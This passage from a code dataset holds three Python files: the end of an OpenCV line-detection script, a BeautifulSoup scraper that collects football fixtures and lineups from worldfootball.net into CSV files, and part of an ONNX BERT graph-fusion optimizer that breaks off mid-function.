IDFrameImage)\n\n kerasLoad.loadImg(np.asarray(studentID))\n\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\n\n\ndef huofumanTest(img, studentFrameStandard):\n \n gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n\n # 中值滤波 过滤噪声,保留边缘信息\n gray = cv2.medianBlur(gray,5) \n # Canny算子求得图像边缘\n edges = cv2.Canny(gray, 50, 150, apertureSize = 3)\n \n minLineLength = 15\n maxLineGap = 5\n\n lines = cv2.HoughLinesP(edges,1,np.pi/180,100, minLineLength,maxLineGap)\n\n for i in range(len(lines)):\n for x1,y1,x2,y2 in lines[i]:\n cv2.line(img, (x1,y1), (x2,y2),(0, 0 ,255),1)\n cv2. imshow(\"edges\", edges)\n cv2. imshow(\"lines\", img)\n \n\n\n # cv2.imshow('2', img)\n cv2.waitKey(0) \n \n cv2.destroyAllWindows()\n","sub_path":"mysite/polls/sanepackage/dectionFeature/studentFrames.py","file_name":"studentFrames.py","file_ext":"py","file_size_in_byte":16786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"515229807","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\n\"\"\"\nahv http://docs.python-guide.org/en/latest/scenarios/scrape/\n# deze gasten gebruikt worldfootball.net ecm BeautifulSoup4\n1. https://gist.github.com/gfleetwood/15442d9a34cb63cce5df1feede84296b\n2. https://gist.github.com/samkellett/62bb6fe13faaf9f6a1f6 <-- werkt!! ik moet ook iets met\n# test to get fixtures from 1 webpage\n# webpage = http://www.worldfootball.net/teams/afc-ajax/2018/3/\n\"\"\"\n\n\"\"\"\nexplenation script:\n1. loop trough all play_rounds of a competition. Each round returns:\n\t- play date\n\t- home team name\n\t- away team name\n\t- score\n\t- url of the specific play_round\n2. inside the loop we open de score url for more information. This returns:\n\t- home team manager name\n\t- away team manager name\n\t- home team starting 11 player names\n\t- away team starting 11 player names\n3. multiple panda dataframes are created. After each round all this information is\n appended to a resulting dataframe. In the end this df is exported to a csv file.\n\n\nnote:\n1. \tthis script only loops trough all games of 1 competition of 1 year.\n\tuser needs to predefine these (hardcoded) below\n2. \tWe import time since we scrape multiple webpages (html) using python for-loops\n\twe do not want to get banned, so after each request we sleep 4 seconds\n3.\tscraping eredivsie seasons 2000 to 2018 will take 6.5 hours with sleep = 4sec\n4.\tscraping eredivsie seasons 2000 to 2018 will take 4.8 hours with sleep = 3sec\n5.\tscraping premier league seasons 2000 to 2018 will take 8.0 hours with sleep = 4sec\n6.\tscraping premier league 2000 to 2018 will take 6.0 hours with sleep = 3sec\n\"\"\"\n\nfrom bs4 import BeautifulSoup\nfrom pandas.compat import u\n\nimport os.path\nimport pandas as pd\nimport re\nimport requests\nimport time\n\n\nseason_list = [\n # '-2017-2018-spieltag/',\n # '-2016-2017-spieltag/',\n # '-2015-2016-spieltag/',\n # '-2014-2015-spieltag/',\n # '-2013-2014-spieltag/',\n # '-2012-2013-spieltag/',\n # '-2011-2012-spieltag/',\n # '-2010-2011-spieltag/',\n # '-2009-2010-spieltag/',\n \"-2008-2009-spieltag/\",\n \"-2007-2008-spieltag/\",\n \"-2006-2007-spieltag/\",\n \"-2005-2006-spieltag/\",\n \"-2004-2005-spieltag/\",\n \"-2003-2004-spieltag/\",\n \"-2002-2003-spieltag/\",\n \"-2001-2002-spieltag/\",\n \"-2000-2001-spieltag/\",\n]\n\n# --------------------------------------------\n# --------------------------------------------\n# --------------------------------------------\n# handmatig: update de url voor elk seizoen en voor elke competitie\ncompetition = str(\"eng-league-two\")\n\n# season = str('-2016-2017-spieltag/')\n# csv_file_name = 'ned_eredivisie_2016_2017'\nnr_secondes_sleep = int(3)\n# total_round nederland altijd 34\ntotal_rounds = int(46)\n# --------------------------------------------\n# --------------------------------------------\n# --------------------------------------------\n\nfor season in season_list:\n\n # slash verwijderen van season anders error met wegschrijven naar csv\n csv_file_name = \"eng-league-two\" + season.replace(\"/\", \"\")\n result_df = pd.DataFrame([])\n\n # de eerste 13 vd 42 rounds hebben geen doorklik link op de uitslag (dus ook geen opstelling etc)\n for round_nr in range(1, total_rounds + 1):\n print(\n \"start retrieving all fixtures for round_nr %i season %s\"\n % (round_nr, season)\n )\n\n # empty all lists\n tbl = None\n df_home_managers = []\n df_away_managers = []\n df_home_team_starting_11 = []\n df_away_team_starting_11 = []\n\n # http://www.worldfootball.net/schedule/esp-segunda-division-2017-2018-spieltag/38/\n url = \"http://www.worldfootball.net/schedule/%s%s%i/\" % (\n competition,\n season,\n round_nr,\n )\n\n # request html\n page = requests.get(url)\n\n # Parse html using BeautifulSoup\n soup = BeautifulSoup(page.content, \"lxml\")\n\n all_games_html = soup.find_all(\"table\")\n time.sleep(nr_secondes_sleep)\n\n # create panda dataframe\n try:\n tbl = pd.read_html(str(all_games_html))[1].iloc[:, [0, 2, 4, 5]]\n except:\n pass\n\n # set columnname\n tbl.columns = [\"date\", \"home\", \"away\", \"score\"]\n\n # fill in play_round, data, score, home&away goals\n tbl[\"play_round\"] = round_nr\n tbl[\"date\"] = tbl[\"date\"].ffill()\n tbl[\"score\"] = tbl[\"score\"].map(lambda x: x.split(\" \")[0])\n tbl[\"home_goals\"], tbl[\"away_goals\"] = tbl[\"score\"].str.split(\":\", 1).str\n\n # add game url to dataframe\n url2 = []\n all_links = [\n a[\"href\"] for a in soup.find_all(\"a\", href=True) if \"report\" in a[\"href\"]\n ]\n\n for link in all_links:\n url_long = \"http://www.worldfootball.net{}\".format(link)\n url2.append(url_long)\n\n # new column 'season'\n tbl[\"url\"] = \"no_url_exists\"\n\n # apperantly, not all games do have an url (in the website), so we need\n # to determine which games do and which games do not have an url (to get\n # detailed information)\n\n # to avoid we split strings into this e.g. ['VfL', 'Osnabr', 'xfcck']\n # we transfer the tbl column to a list and then work with unicodes\n # so we get in the end [u'VfL', u'Osnabr', u'ck']\n tbl[\"home\"].fillna(\"DitWasEenNaNWaarde\", inplace=True)\n home_to_list = tbl[\"home\"].tolist()\n unicode_home_to_list = pd.Series(map(u, home_to_list))\n\n # the same for away teamnames\n tbl[\"away\"].fillna(\"DitWasEenNaNWaarde\", inplace=True)\n away_to_list = tbl[\"away\"].tolist()\n unicode_away_to_list = pd.Series(map(u, away_to_list))\n\n # reset index of the dataframe since we deleted some rows\n tbl.reset_index(inplace=True)\n\n # first attempt\n for index, row in tbl.iterrows():\n find_home = re.findall(r\"[\\w']+\", unicode_home_to_list[index])\n try:\n split_home = re.split(\"['-]\", find_home)\n except:\n split_home = find_home\n\n find_away = re.findall(r\"[\\w']+\", unicode_away_to_list[index])\n try:\n split_away = re.split(\"['-]\", find_away)\n except:\n split_away = find_away\n sorted_split_home = sorted(split_home, key=len)\n sorted_split_away = sorted(split_away, key=len)\n # take the longest string and remove possible apostrophe\n longest_home = sorted_split_home[-1].replace(\"'\", \"\").lower()\n longest_away = sorted_split_away[-1].replace(\"'\", \"\").lower()\n look_up_strings = [longest_home, longest_away]\n for link in url2:\n if all(item in link for item in look_up_strings):\n tbl.set_value(index, \"url\", link)\n # remove link from url2 so it cannot be allocated twice\n url2.remove(link)\n break\n\n # second attempt\n for index, row in tbl.iterrows():\n if row[\"url\"] == \"no_url_exists\":\n find_home = re.findall(r\"[\\w']+\", unicode_home_to_list[index])\n try:\n split_home = re.split(\"['-]\", find_home)\n except:\n split_home = find_home\n\n find_away = re.findall(r\"[\\w']+\", unicode_away_to_list[index])\n try:\n split_away = re.split(\"['-]\", find_away)\n except:\n split_away = find_away\n sorted_split_home = sorted(split_home, key=len)\n sorted_split_away = sorted(split_away, key=len)\n\n # take the 2nd-longest string and remove possible apostrophe\n try:\n longest_home = sorted_split_home[-2].replace(\"'\", \"\").lower()\n # take the longest\n except:\n longest_home = sorted_split_home[-1].replace(\"'\", \"\").lower()\n\n # take the 2nd-longest string and remove possible apostrophe\n try:\n longest_away = sorted_split_away[-2].replace(\"'\", \"\").lower()\n # take the longest\n except:\n longest_away = sorted_split_away[-1].replace(\"'\", \"\").lower()\n\n look_up_strings = [longest_home, longest_away]\n for link in url2:\n if all(item in link for item in look_up_strings):\n tbl.set_value(index, \"url\", link)\n # remove link from url2 so it cannot be allocated twice\n url2.remove(link)\n break\n else:\n print(str(look_up_strings) + \" not in url2\")\n\n for counter, url_item in enumerate(tbl[\"url\"]):\n print(\n \"start retrieving specific gamedetails for game_nr %i round_nr %i season %s\"\n % (counter, round_nr, season)\n )\n\n try:\n soup = BeautifulSoup(requests.get(url_item).content, \"lxml\")\n specific_game_html = soup.find_all(\"table\")\n time.sleep(nr_secondes_sleep)\n except:\n pass\n\n # managers\n home_managers = []\n away_managers = []\n\n if url_item == \"no_url_exists\":\n home_manager = \"\"\n away_manager = \"\"\n home_team_starting_11 = [\"\"]\n away_team_starting_11 = [\"\"]\n elif (\n url_item\n == \"http://www.worldfootball.net/report/serie-a-2012-2013-cagliari-calcio-as-roma/\"\n ):\n home_manager = \"Massimo Ficcadenti\"\n away_manager = \"Zdenek Zeman\"\n home_team_starting_11 = [\"\"]\n away_team_starting_11 = [\"\"]\n elif (\n url_item\n == \"http://www.worldfootball.net/report/league-one-2008-2009-carlisle-united-colchester-united/\"\n ):\n home_manager = \"Greg Abbott\"\n away_manager = \"Paul Lambert\"\n home_team_starting_11 = [\"\"]\n away_team_starting_11 = [\"\"]\n elif (\n url_item\n == \"http://www.worldfootball.net/report/premier-league-2004-2005-manchester-city-bolton-wanderers/\"\n ):\n home_manager = \"Carlos Ríos\"\n away_manager = \"Paco Herrera\"\n home_team_starting_11 = [\"\"]\n away_team_starting_11 = [\"\"]\n elif (\n url_item\n == \"http://www.worldfootball.net/report/ligue-1-2004-2005-fc-istres-fc-sochaux/\"\n ):\n home_manager = \"???\"\n away_manager = \"Guy Lacombe\"\n home_team_starting_11 = [\n \"niet bekend\",\n \"Abdoulaye Faye\",\n \"Noureddine Kacemi\",\n \"Philippe Delaye\",\n \"Moussa N Diaye\",\n \"Adel Chedli\",\n \"Laurent Courtois\",\n \"Ibrahima Bakayoko\",\n \"Steven Pelé\",\n \"Laurent Mohellebi\",\n \"Amor Kehiha\",\n ]\n away_team_starting_11 = [\n \"niet bekend\",\n \"niet bekend\",\n \"Teddy Richert\",\n \"Ibrahima Tall\",\n \"Sylvain Monsoreau\",\n \"Lionel Potillon\",\n \"Romain Pitau\",\n \"Francileudo Dos Santos\",\n \"Jaouad Zairi\",\n \"Wilson Oruma\",\n \"Jérémy Ménez\",\n ]\n elif (\n url_item\n == \"http://www.worldfootball.net/report/segunda-division-2011-2012-fc-cartagena-celta-vigo/\"\n ):\n home_manager = \"Olivier Pantaloni\"\n away_manager = \"Cédric Daury\"\n home_team_starting_11 = [\"\"]\n away_team_starting_11 = [\"\"]\n elif (\n url_item\n == \"http://www.worldfootball.net/report/ligue-2-2009-2010-ac-ajaccio-le-havre-ac/\"\n ):\n home_manager = \"Olivier Pantaloni\"\n away_manager = \"Cédric Daury\"\n home_team_starting_11 = [\"\"]\n away_team_starting_11 = [\"\"]\n else:\n oa_managers_html = pd.read_html(str(specific_game_html))\n\n home_manager = \"\"\n away_manager = \"\"\n for element in oa_managers_html:\n if \"Manager\" in str(element):\n home_manager = element.iloc[0, 0].split(\":\")[1].lstrip()\n away_manager = element.iloc[0, 1].split(\":\")[1].lstrip()\n break\n\n # managers = pd.read_html(str(specific_game_html))[-2]\n # home_manager = managers.iloc[0, 0].split(':')[1].lstrip()\n # away_manager = managers.iloc[0, 1].split(':')[1].lstrip()\n\n # teamsheets\n home_team_starting_11 = []\n away_team_starting_11 = []\n\n # home players\n try:\n home_team_html = pd.read_html(str(specific_game_html))[5]\n # selecteer de starting_11 en verwijder \\n\n home_team = home_team_html.iloc[0:11, 1].replace(\n r\"\\\\n\", \" \", regex=True\n )\n except Exception as e:\n print(\"no home players available ?\")\n home_team = \"\"\n for st in home_team:\n try:\n # selecteer alleen de varchar from string (not numbers and ')\n player = \" \".join(re.findall(\"[a-zA-Z]+\", st))\n except TypeError:\n player = \"unknown\"\n home_team_starting_11.append(player)\n\n # away players\n try:\n away_team_html = pd.read_html(str(specific_game_html))[6]\n # selecteer de starting_11 en verwijder \\n\n away_team = away_team_html.iloc[0:11, 1].replace(\n r\"\\\\n\", \" \", regex=True\n )\n except Exception as e:\n print(\"no away players available ?\")\n away_team = \"\"\n for st in away_team:\n try:\n # selecteer alleen de varchar from string (not numbers and ')\n player = \" \".join(re.findall(\"[a-zA-Z]+\", st))\n except TypeError:\n player = \"unknown\"\n away_team_starting_11.append(player)\n\n df_home_managers.append(home_manager)\n df_away_managers.append(away_manager)\n df_home_team_starting_11.append(home_team_starting_11)\n df_away_team_starting_11.append(away_team_starting_11)\n\n print(\"add managers and players to dataframe for round_nr %i\" % (round_nr))\n\n # add managers to dataframe\n tbl[\"home_manager\"] = df_home_managers\n tbl[\"away_manager\"] = df_away_managers\n\n # add teamsheets to dataframe\n tbl[\"home_sheet\"] = df_home_team_starting_11\n tbl[\"away_sheet\"] = df_away_team_starting_11\n\n # remove all '\\n\\ from the dataframe\n tbl = tbl.replace(r\"\\\\n\", \" \", regex=True)\n\n # append data to resulting dataframe\n # ignore_index = True, otherwise the existing rows will be overwritten\n result_df = result_df.append(tbl, ignore_index=True)\n\n # write dataframe to a csv\n abs_path = (\n \"/home/renier.kramer/Documents/werk/Machine_learning/soccer_predition/data/\"\n )\n # csv_file_name --> staat helemaal bovenaan\n path = abs_path + csv_file_name + \".csv\"\n # check if file already exists\n if os.path.isfile(path) == False:\n print(\"exporting to csv file \" + csv_file_name)\n result_df.to_csv(path, sep=\"\\t\", encoding=\"utf-8\")\n else:\n print(\"csv file\" + csv_file_name + \"already exists\")\n","sub_path":"tools/scraper/league_scraper_orig.py","file_name":"league_scraper_orig.py","file_ext":"py","file_size_in_byte":16272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"356779442","text":"#-------------------------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License.\n#--------------------------------------------------------------------------\n\n# Convert Bert ONNX model exported from PyTorch to use Attention, Gelu, SkipLayerNormalization and\n# EmbedLayerNormalization ops to optimize performance on NVidia GPU.\n\nimport onnx\nimport sys\nimport argparse\nimport numpy as np\nfrom collections import deque\nfrom onnx import ModelProto, TensorProto, numpy_helper\n\nclass OnnxModel:\n def __init__(self, model):\n self.model = model\n self.node_name_counter = {}\n\n def input_name_to_nodes(self):\n input_name_to_nodes = {}\n for node in self.model.graph.node:\n for input_name in node.input:\n if input_name not in input_name_to_nodes:\n input_name_to_nodes[input_name] = [node]\n else:\n input_name_to_nodes[input_name].append(node)\n return input_name_to_nodes\n\n def output_name_to_node(self):\n output_name_to_node = {}\n for node in self.model.graph.node:\n for output_name in node.output:\n output_name_to_node[output_name] = node\n return output_name_to_node\n\n def nodes(self):\n return self.model.graph.node\n\n def graph(self):\n return self.model.graph\n\n def remove_node(self, node):\n if node in self.model.graph.node:\n self.model.graph.node.remove(node)\n\n def remove_nodes(self, nodes_to_remove):\n for node in nodes_to_remove:\n self.remove_node(node)\n\n def add_node(self, node):\n self.model.graph.node.extend([node])\n\n def add_nodes(self, nodes_to_add):\n self.model.graph.node.extend(nodes_to_add)\n\n def add_initializer(self, tensor):\n self.model.graph.initializer.extend([tensor])\n \n def add_input(self, input):\n self.model.graph.input.extend([input])\n\n @staticmethod\n def replace_node_input(node, old_input_name, new_input_name):\n assert isinstance(old_input_name, str) and isinstance(new_input_name, str)\n for j in range(len(node.input)):\n if node.input[j] == old_input_name:\n node.input[j] = new_input_name\n\n def replace_input_of_all_nodes(self, old_input_name, new_input_name):\n for node in self.model.graph.node:\n OnnxModel.replace_node_input(node, old_input_name, new_input_name)\n\n def get_initializer(self,name):\n for tensor in self.model.graph.initializer:\n if tensor.name == name:\n return tensor\n return None\n\n def get_nodes_by_op_type(self, op_type):\n return [n for n in self.model.graph.node if n.op_type == op_type]\n\n def get_children(self, node, input_name_to_nodes=None):\n if (input_name_to_nodes is None):\n input_name_to_nodes = self.input_name_to_nodes()\n \n children = []\n for output in node.output:\n if output in input_name_to_nodes:\n for node in input_name_to_nodes[output]:\n children.append(node)\n return children\n\n def get_parents(self, node, output_name_to_node=None):\n if output_name_to_node is None:\n output_name_to_node = self.output_name_to_node()\n\n parents = []\n for input in node.input:\n if input in output_name_to_node:\n parents.append(output_name_to_node[input])\n return parents\n\n def get_parent(self, node, i, output_name_to_node=None):\n if output_name_to_node is None:\n output_name_to_node = self.output_name_to_node()\n\n if len(node.input) <= i:\n return None\n\n input = node.input[i]\n if input not in output_name_to_node:\n return None\n\n return output_name_to_node[input]\n\n def match_parent_path(self, node, parent_op_types, parent_input_index=None, output_name_to_node=None):\n if output_name_to_node is None:\n output_name_to_node = self.output_name_to_node()\n\n if parent_input_index is None:\n parent_input_index = [0] * len(parent_op_types)\n\n assert(len(parent_input_index) == len(parent_op_types))\n current_node = node\n matched_parents = []\n for i, op_type in enumerate(parent_op_types):\n input_index = parent_input_index[i]\n if input_index >= len(current_node.input):\n return None\n parent = self.get_parent(current_node, input_index, output_name_to_node)\n if parent is None:\n return None\n if parent.op_type == parent_op_types[i]:\n matched_parents.append(parent)\n current_node = parent\n return matched_parents\n\n def find_first_child_by_type(self, node, child_type, input_name_to_nodes=None, recursive=True):\n children = self.get_children(node, input_name_to_nodes)\n dq = deque(children)\n while len(dq) > 0:\n current_node = dq.pop()\n if current_node.op_type == child_type:\n return current_node\n\n if recursive:\n children = self.get_children(current_node, input_name_to_nodes)\n for child in children:\n dq.appendleft(child)\n\n return None\n\n def find_first_parent_by_type(self, node, parent_type, output_name_to_node=None, recursive=True):\n if output_name_to_node is None:\n output_name_to_node = self.output_name_to_node()\n \n parents = self.get_parents(node, output_name_to_node)\n dq = deque(parents)\n while len(dq) > 0:\n current_node = dq.pop()\n if current_node.op_type == parent_type:\n return current_node\n\n if recursive:\n parents = self.get_parents(current_node, output_name_to_node)\n for parent in parents:\n dq.appendleft(parent)\n\n return None\n\n def get_constant_value(self, output_name):\n for node in self.get_nodes_by_op_type('Constant'):\n if node.output[0] == output_name:\n for att in node.attribute:\n if att.name == 'value':\n return numpy_helper.to_array(att.t)\n\n def get_children_subgraph_nodes(self, root_node, stop_nodes, input_name_to_nodes=None):\n if input_name_to_nodes is None:\n input_name_to_nodes = self.input_name_to_nodes()\n\n children = input_name_to_nodes[root_node.output[0]]\n\n unique_nodes = []\n\n dq = deque(children)\n while len(dq) > 0:\n current_node = dq.pop()\n if current_node in stop_nodes:\n continue\n\n if current_node not in unique_nodes:\n unique_nodes.append(current_node)\n\n for output in current_node.output:\n if output in input_name_to_nodes:\n children = input_name_to_nodes[output]\n for child in children:\n dq.appendleft(child)\n\n return unique_nodes\n\n def convert_model_float32_to_float16(self):\n graph = self.model.graph\n initializers = graph.initializer\n\n for input_value_info in graph.input:\n if input_value_info.type.tensor_type.elem_type == 1:\n input_value_info.type.tensor_type.elem_type = 10\n\n for output_value_info in graph.output:\n if output_value_info.type.tensor_type.elem_type == 1:\n output_value_info.type.tensor_type.elem_type = 10\n\n for initializer in initializers:\n if initializer.data_type == 1:\n initializer.CopyFrom(numpy_helper.from_array(numpy_helper.to_array(initializer).astype(np.float16), initializer.name))\n\n for node in graph.node:\n if node.op_type == 'Constant':\n for att in node.attribute:\n if att.name == 'value' and att.t.data_type == 1:\n att.CopyFrom(onnx.helper.make_attribute(\"value\", numpy_helper.from_array(numpy_helper.to_array(att.t).astype(np.float16))))\n if node.op_type == 'Cast':\n for att in node.attribute:\n if att.name == 'to' and att.i == 1:\n att.CopyFrom(onnx.helper.make_attribute(\"to\", 10))\n \n # create a new name for node\n def create_node_name(self, op_type, name_prefix=None):\n if op_type in self.node_name_counter:\n self.node_name_counter[op_type] += 1\n else:\n self.node_name_counter[op_type] = 1\n\n if name_prefix is not None:\n full_name = name_prefix + str(self.node_name_counter[op_type]) \n else:\n full_name = op_type + \"_\" + str(self.node_name_counter[op_type])\n\n # Check whether the name is taken:\n nodes = self.get_nodes_by_op_type(op_type)\n for node in nodes:\n if node.name == full_name:\n raise Exception(\"Node name already taken:\", full_name)\n\n return full_name\n\n\n def find_graph_input(self, input_name):\n for input in self.model.graph.input:\n if input.name == input_name:\n return input\n return None\n\n def get_parent_subgraph_nodes(self, node, stop_nodes, output_name_to_node=None):\n if output_name_to_node is None:\n output_name_to_node = self.output_name_to_node()\n\n unique_nodes = []\n\n parents = self.get_parents(node, output_name_to_node)\n dq = deque(parents)\n while len(dq) > 0:\n current_node = dq.pop()\n if current_node in stop_nodes:\n continue\n\n if current_node not in unique_nodes:\n unique_nodes.append(current_node)\n\n for input in current_node.input:\n if input in output_name_to_node:\n dq.appendleft(output_name_to_node[input])\n\n return unique_nodes\n\n @staticmethod\n def input_index(node_output, child_node):\n index = 0\n for input in child_node.input:\n if input == node_output:\n return index\n index += 1\n return -1\n\n def remove_unused_constant(self):\n input_name_to_nodes = self.input_name_to_nodes()\n\n #remove unused constant\n unused_nodes = []\n nodes = self.nodes()\n for node in nodes:\n if node.op_type == \"Constant\" and node.output[0] not in input_name_to_nodes:\n unused_nodes.append(node)\n\n self.remove_nodes(unused_nodes)\n\n if len(unused_nodes) > 0:\n print(\"Removed unused constant nodes:\", len(unused_nodes))\n\n def update_graph(self, verbose=False):\n graph = self.model.graph\n\n remaining_input_names = []\n for node in graph.node:\n if node.op_type != \"Constant\":\n for input_name in node.input:\n if input_name not in remaining_input_names:\n remaining_input_names.append(input_name)\n if verbose:\n print(\"remaining input names\", remaining_input_names)\n\n # remove graph input that is not used\n inputs_to_remove = []\n for input in graph.input:\n if input.name not in remaining_input_names:\n inputs_to_remove.append(input)\n for input in inputs_to_remove:\n graph.input.remove(input)\n if verbose:\n print(\"remove unused input \", len(inputs_to_remove), [input.name for input in inputs_to_remove])\n \n # remove weights that are not used\n weights_to_remove = []\n for initializer in graph.initializer:\n if initializer.name not in remaining_input_names:\n weights_to_remove.append(initializer)\n for initializer in weights_to_remove:\n graph.initializer.remove(initializer)\n if verbose:\n print(\"remove unused initializers:\", len(weights_to_remove), [initializer.name for initializer in weights_to_remove])\n\n self.remove_unused_constant()\n\nclass BertOnnxModel(OnnxModel):\n def __init__(self, model, num_heads, hidden_size, sequence_length):\n assert num_heads > 0\n assert hidden_size % num_heads == 0\n assert sequence_length > 0\n \n super(BertOnnxModel, self).__init__(model)\n self.num_heads = num_heads\n self.sequence_length = sequence_length\n self.hidden_size = hidden_size\n self.mask_input = None\n self.embed_node = None\n\n # constant node names\n self.normalize_name = \"SkipLayerNormalization\"\n self.gelu_name = 'FastGelu'\n self.attention_name = 'Attention'\n\n def get_normalize_nodes(self):\n return self.get_nodes_by_op_type(self.normalize_name)\n\n def normalize_children_types(self):\n return ['MatMul', 'MatMul', 'MatMul', 'SkipLayerNormalization']\n\n def set_mask_input(self, input):\n if self.mask_input is not None and input != self.mask_input:\n raise Exception(\"Different mask inputs\", self.mask_input, input)\n\n self.mask_input = input\n\n def create_attention_node(self, q_matmul, k_matmul, v_matmul, q_add, k_add, v_add, input, output):\n q_weight = self.get_initializer(q_matmul.input[1])\n k_weight = self.get_initializer(k_matmul.input[1])\n v_weight = self.get_initializer(v_matmul.input[1])\n q_bias = self.get_initializer(q_add.input[1])\n k_bias = self.get_initializer(k_add.input[1])\n v_bias = self.get_initializer(v_add.input[1])\n\n qw = numpy_helper.to_array(q_weight)\n assert qw.shape == (self.hidden_size, self.hidden_size)\n\n kw = numpy_helper.to_array(k_weight)\n assert kw.shape == (self.hidden_size, self.hidden_size)\n\n vw = numpy_helper.to_array(v_weight)\n assert vw.shape == (self.hidden_size, self.hidden_size)\n\n qkv_weight = np.stack((qw, kw, vw), axis=-2)\n \n qb = numpy_helper.to_array(q_bias)\n assert qb.shape == (self.hidden_size,)\n\n kb = numpy_helper.to_array(k_bias)\n assert kb.shape == (self.hidden_size,)\n\n vb = numpy_helper.to_array(v_bias)\n assert vb.shape == (self.hidden_size,)\n\n qkv_bias = np.stack((qb, kb, vb), axis=-2)\n\n attention_node_name = self.create_node_name(self.attention_name)\n\n weight = onnx.helper.make_tensor(name=attention_node_name + '_qkv_weight',\n data_type=TensorProto.FLOAT,\n dims=[self.hidden_size, 3 * self.hidden_size],\n vals=qkv_weight.flatten().tolist())\n self.add_initializer(weight)\n\n weight_input = onnx.helper.make_tensor_value_info(weight.name, TensorProto.FLOAT, [self.hidden_size, 3 * self.hidden_size])\n self.add_input(weight_input)\n\n bias = onnx.helper.make_tensor(name=attention_node_name + '_qkv_bias',\n data_type=TensorProto.FLOAT,\n dims=[3 * self.hidden_size],\n vals=qkv_bias.flatten().tolist())\n self.add_initializer(bias)\n\n bias_input = onnx.helper.make_tensor_value_info(bias.name, TensorProto.FLOAT, [3 * self.hidden_size])\n self.add_input(bias_input)\n\n attention_node = onnx.helper.make_node(self.attention_name,\n inputs=[input, attention_node_name + '_qkv_weight', attention_node_name + '_qkv_bias', self.mask_input],\n outputs=[output],\n name=attention_node_name)\n attention_node.domain = \"com.microsoft\"\n attention_node.attribute.extend([onnx.helper.make_attribute(\"num_heads\", self.num_heads)])\n\n self.add_node(attention_node)\n\n def fuse_attention(self, verbose=False):\n input_name_to_nodes = self.input_name_to_nodes()\n output_name_to_node = self.output_name_to_node()\n\n nodes_to_remove = []\n\n for normalize_node in self.get_normalize_nodes():\n # SkipLayerNormalization has two inputs, and one of them is the root input for attention.\n qkv_nodes = None\n root_input = None\n for i, input in enumerate(normalize_node.input):\n if input not in output_name_to_node:\n continue\n children = input_name_to_nodes[input]\n children_types = sorted([child.op_type for child in children])\n if children_types != self.normalize_children_types():\n qkv_nodes = self.match_parent_path(normalize_node, ['Add', 'MatMul', 'Reshape', 'Transpose', 'MatMul'], [i, 0, 0, 0, 0])\n else:\n root_input = input\n\n if root_input is None or qkv_nodes is None:\n continue\n\n (add_qkv, matmul_qkv, reshape_qkv, transpose_qkv, matmul_qkv) = qkv_nodes\n\n v_nodes = self.match_parent_path(matmul_qkv, ['Transpose', 'Reshape', 'Add', 'MatMul'], [1, 0, 0, 0])\n if v_nodes is None:\n continue\n (transpose_v, reshape_v, add_v, matmul_v) = v_nodes\n\n qk_nodes = self.match_parent_path(matmul_qkv, ['Softmax', 'Add', 'Div', 'MatMul'], [0, 0, 0, 0])\n if qk_nodes is None:\n continue\n (softmax_qk, add_qk, div_qk, matmul_qk) = qk_nodes\n\n q_nodes = self.match_parent_path(matmul_qk, ['Transpose', 'Reshape', 'Add', 'MatMul'], [0, 0, 0, 0])\n if q_nodes is None:\n continue\n (transpose_q, reshape_q, add_q, matmul_q) = q_nodes\n\n k_nodes = self.match_parent_path(matmul_qk, ['Transpose', 'Reshape', 'Add', 'MatMul'], [1, 0, 0, 0])\n if k_nodes is None:\n continue\n (transpose_k, reshape_k, add_k, matmul_k) = k_nodes\n\n mask_nodes = self.match_parent_path(add_qk, ['Mul', 'Sub', 'Cast', 'Unsqueeze', 'Unsqueeze'], [1, 0, 1, 0, 0])\n if mask_nodes is None:\n continue\n (mul_mask, sub_mask, cast_mask, unsqueeze_mask, unsqueeze_mask_0) = mask_nodes\n\n if matmul_v.input[0] == root_input and matmul_q.input[0] == root_input and matmul_v.input[0] == root_input:\n self.set_mask_input(unsqueeze_mask_0.input[0])\n self.create_attention_node(matmul_q, matmul_k, matmul_v, add_q, add_k, add_v, root_input, reshape_qkv.output[0])\n nodes_to_remove.extend([reshape_qkv, transpose_qkv, matmul_qkv])\n nodes_to_remove.extend(qk_nodes)\n nodes_to_remove.extend(q_nodes)\n nodes_to_remove.extend(k_nodes)\n nodes_to_remove.extend(v_nodes)\n nodes_to_remove.extend(mask_nodes)\n\n self.remove_nodes(nodes_to_remove)\n self.update_graph(verbose)\n\n def fuse_gelu(self):\n nodes = self.nodes()\n input_name_to_nodes = self.input_name_to_nodes()\n output_name_to_node = self.output_name_to_node()\n\n nodes_to_remove = []\n nodes_to_add = []\n\n for node in self.get_normalize_nodes():\n\n children = input_name_to_nodes[node.output[0]]\n if len(children) != 2:\n continue\n\n children_types = sorted([child.op_type for child in children])\n if children_types != ['MatMul', 'SkipLayerNormalization']:\n continue\n\n matmul_node = self.find_first_child_by_type(node, 'MatMul', input_name_to_nodes)\n matmul_child = input_name_to_nodes[matmul_node.output[0]]\n if len(matmul_child) != 1 or matmul_child[0].op_type != 'Add':\n continue\n add_node = matmul_child[0]\n\n children = input_name_to_nodes[add_node.output[0]]\n\n children_types = sorted([child.op_type for child in children])\n if children_types != ['Div', 'Mul']:\n continue\n\n matmul_2 = self.find_first_child_by_type(add_node, 'MatMul', input_name_to_nodes)\n if matmul_2 is None:\n continue\n\n subgraph_nodes = self.get_children_subgraph_nodes(add_node, [matmul_2], input_name_to_nodes)\n if len(subgraph_nodes) != 5:\n continue\n\n nodes_to_remove.append(add_node)\n nodes_to_remove.extend(subgraph_nodes)\n bias_input = add_node.input[1] if (add_node.input[0] == matmul_node.output[0]) else add_node.input[0]\n gelu_node = onnx.helper.make_node(self.gelu_name,\n inputs=[matmul_node.output[0], bias_input],\n outputs=[matmul_2.input[0]])\n gelu_node.domain = \"com.microsoft\"\n nodes_to_add.append(gelu_node)\n\n self.remove_nodes(nodes_to_remove)\n self.add_nodes(nodes_to_add)\n\n def fuse_reshape(self):\n nodes = self.nodes()\n input_name_to_nodes = self.input_name_to_nodes()\n output_name_to_node = self.output_name_to_node()\n\n nodes_to_remove = []\n nodes_to_add = []\n\n for reshape_node in self.get_nodes_by_op_type('Reshape'):\n concat_node = output_name_to_node[reshape_node.input[1]]\n if concat_node.op_type != 'Concat' or len(concat_node.input) < 3:\n continue\n\n path = self.match_parent_path(concat_node, 